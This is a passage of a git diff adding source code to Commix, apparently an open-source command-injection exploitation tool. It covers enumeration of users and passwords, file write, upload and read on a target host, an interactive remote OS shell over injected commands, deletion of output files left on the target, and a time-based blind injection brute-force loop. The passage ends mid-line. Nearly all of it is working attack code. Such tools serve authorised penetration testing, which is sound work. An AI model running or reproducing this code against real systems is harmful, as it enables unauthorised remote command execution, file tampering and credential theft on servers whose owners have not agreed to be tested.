injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + # Command execution results. + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_single_os_cmd(cmd, shell, filename) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + # Check if PowerShell is enabled. + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: + checks.ps_check() + + if menu.options.ps_version and settings.PS_ENABLED == None: + if not checks.ps_incompatible_os(): + checks.print_enumenation().ps_version_msg() + powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.hostname: + checks.print_enumenation().hostname_msg() + hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.current_user: + checks.print_enumenation().current_user_msg() + current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.is_root or menu.options.is_admin: + checks.print_enumenation().check_privs_msg() + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.sys_info: + checks.print_enumenation().os_info_msg() + system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.users: + checks.print_enumenation().print_users_msg() + system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + + if menu.options.passwords: + if settings.TARGET_OS == settings.OS.WINDOWS: + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + checks.print_enumenation().print_passes_msg() + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.ENUMERATION_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + # Check for any enumeration options. + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + +# eof \ No newline at end of file diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py new file mode 100755 index 0000000000..4ace143fac --- /dev/null +++ b/src/core/injections/controller/file_access.py @@ -0,0 +1,230 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +from src.utils import menu +from src.utils import common +from src.utils import settings +from src.utils import session_handler +from src.core.injections.controller import checks +from src.core.requests import requests +from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Write to a file on the target host. +""" +def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + _ = False + file_to_write, dest_to_write, content = checks.check_file_to_write() + if settings.TARGET_OS == settings.OS.WINDOWS: + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + else: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + if settings.TIME_RELATIVE_ATTACK: + whitespace = settings.WHITESPACES[0] + _ = True + cmd = checks.change_dir(dest_to_write) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + cmd = checks.delete_tmp(tmp_fname) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + else: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + cmd = checks.write_content(content, dest_to_write) + if settings.TIME_RELATIVE_ATTACK: + cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + cmd = cmd + settings.COMMENT + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_write) + if settings.TIME_RELATIVE_ATTACK: + if settings.VERBOSITY_LEVEL == 0 and not _: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATIVE_ATTACK: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_write_status(shell, dest_to_write) + +""" +Upload a file on the target host. +""" +def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + cmd, dest_to_upload = checks.check_file_to_upload() + if settings.TIME_RELATIVE_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + if settings.TIME_RELATIVE_ATTACK: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + else: + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATIVE_ATTACK: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) + + +""" +Read a file from the target host. +""" +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + from src.core.injections.results_based.techniques.classic import cb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + _ = False + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + if settings.TIME_RELATIVE_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + _ = True + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = "".join(str(p) for p in shell) + if settings.TIME_RELATIVE_ATTACK: + if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + checks.file_read_status(shell, file_to_read, filename) + +""" +Check the defined options +""" +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if menu.options.file_write: + file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + + if menu.options.file_upload: + if settings.TARGET_OS == settings.OS.WINDOWS: + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + settings.FILE_ACCESS_DONE = True + +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + +# eof \ No newline at end of file diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py new file mode 100755 index 0000000000..70fd769800 --- /dev/null +++ b/src/core/injections/controller/handler.py @@ -0,0 +1,686 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import re +import sys +import time +import string +import random +from src.utils import menu +from src.utils import logs +from src.utils import settings +from src.utils import common +from src.core.compat import xrange +from src.utils import session_handler +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters +from src.core.injections.controller import checks +from src.thirdparty.six.moves import input as _input +from src.thirdparty.six.moves import urllib as _urllib +from src.core.injections.controller import shell_options +from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.injections.controller import file_access +from src.core.injections.controller import enumeration +from src.core.injections.controller import controller + +""" +Exit handler +""" +def exit_handler(no_result): + if no_result: + if settings.VERBOSITY_LEVEL == 0 and settings.LOAD_SESSION == None: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return False + else : + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +Reset tests +""" +def reset_tests(url, timesec, filename, http_request_method, injection_type, technique): + settings.RESET_TESTS = False + from src.core.injections.results_based.techniques.classic import cb_handler + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) + +""" +Delete previous shells outputs. +""" +def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + else: + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + OUTPUT_TEXTFILE + else: + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + + +def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): + try: + checks.alert() + go_back = False + go_back_again = False + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + while True: + if go_back == True: + break + gotshell = checks.enable_shell(url) + if gotshell in settings.CHOICE_YES: + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + if not settings.READLINE_ERROR: + checks.tab_autocompleter() + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) + cmd = common.read_input(message="", default="os_shell", check_batch=True) + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS: + if cmd.lower() == "quit" or cmd.lower() == "exit": + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise SystemExit() + go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) + if go_back and go_back_again == False: + break + if go_back and go_back_again: + return True + else: + time.sleep(timesec) + if menu.options.ignore_session or session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: + # The main command injection exploitation. + if settings.TIME_RELATIVE_ATTACK: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + else: + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + # Export injection result + checks.time_relative_export_injection_results(cmd, separator, shell, check_exec_time) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + else: + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + # Command execution results. + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + shell = "".join(str(p) for p in shell) + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + if not menu.options.ignore_session: + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + if shell or shell != "": + settings.print_data_to_stdout(settings.command_execution_output(shell)) + + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result: + return False + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + return True + elif gotshell in settings.CHOICE_QUIT: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + raise SystemExit() + else: + common.invalid_option(gotshell) + pass + + except (KeyboardInterrupt, SystemExit): + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + settings.print_data_to_stdout(settings.END_LINE.CR) + raise + + except EOFError: + checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +The main time-relative exploitation proccess. +""" +def do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + + counter = 1 + num_of_chars = 1 + vp_flag = True + no_result = True + is_encoded = False + possibly_vulnerable = False + false_positive_warning = False + export_injection_info = False + exec_time = 0 + timesec = checks.time_relative_timesec(timesec) + + if settings.TIME_RELATIVE_ATTACK == False: + checks.time_relative_attaks_msg() + settings.TIME_RELATIVE_ATTACK = None + + # Check if defined "--url-reload" option. + if menu.options.url_reload == True: + checks.reload_url_msg(technique) + + # Check if defined "--maxlen" option. + if menu.options.maxlen: + settings.MAXLEN = maxlen = menu.options.maxlen + + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + from src.core.injections.blind.techniques.time_based import tb_injector as injector + from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + else: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector + from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + + checks.testing_technique_title(injection_type, technique) + + prefixes = settings.PREFIXES + suffixes = settings.SUFFIXES + separators = settings.SEPARATORS + + i = 0 + total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators) + for whitespace in settings.WHITESPACES: + for prefix in settings.PREFIXES: + for suffix in settings.SUFFIXES: + for separator in settings.SEPARATORS: + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available. + exec_time_statistic = [] + if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): + try: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + settings.TIME_BASED_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + settings.TEMPFILE_BASED_STATE = True + cmd = shell = "" + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) + checks.check_for_stored_tamper(payload) + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + if settings.TEMPFILE_BASED_STATE: + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + except TypeError: + checks.error_loading_session_file() + + if settings.RESET_TESTS: + reset_tests(url, timesec, filename, http_request_method, injection_type, technique) + + if not settings.LOAD_SESSION: + num_of_chars = num_of_chars + 1 + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + # Change TAG on every request to prevent false-positive resutls. + TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + # The output file for file-based injection technique. + alter_shell = menu.options.alter_shell + tag_length = len(TAG) + 4 + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + for output_length in range(1, int(tag_length)): + try: + # Tempfile-based decision payload (check if host is vulnerable). + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + + vuln_parameter = "" + exec_time, vuln_parameter = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + + # Statistical analysis in time responses. + exec_time_statistic.append(exec_time) + # Injection percentage calculation + percent, float_percent = checks.percentage_calculation(num_of_chars, total) + + if percent == 100 and no_result == True: + if settings.VERBOSITY_LEVEL == 0: + percent = settings.FAIL_STATUS + else: + percent = "" + else: + if checks.time_relative_shell(url_time_response, exec_time, timesec): + # Time relative false positive fixation. + false_positive_fixation = False + if len(TAG) == output_length: + + # Simple statical analysis + statistical_anomaly = True + if len(set(exec_time_statistic[0:5])) == 1: + if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: + statistical_anomaly = False + exec_time_statistic = [] + + if timesec <= exec_time and not statistical_anomaly: + false_positive_fixation = True + else: + false_positive_warning = True + + # Identified false positive warning message. + if false_positive_warning: + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) + + if settings.VERBOSITY_LEVEL == 0: + percent = ".. (" + str(float_percent) + "%)" + checks.injection_process(injection_type, technique, percent) + + # Check if false positive fixation is True. + if false_positive_fixation: + false_positive_fixation = False + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + if false_positive_warning: + time.sleep(1) + randv1 = random.randrange(0, 4) + randv2 = random.randrange(1, 5) + randvcalc = randv1 + randv2 + + if settings.TARGET_OS == settings.OS.WINDOWS: + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + else: + rand_num = randv1 + randv2 + cmd = "powershell.exe 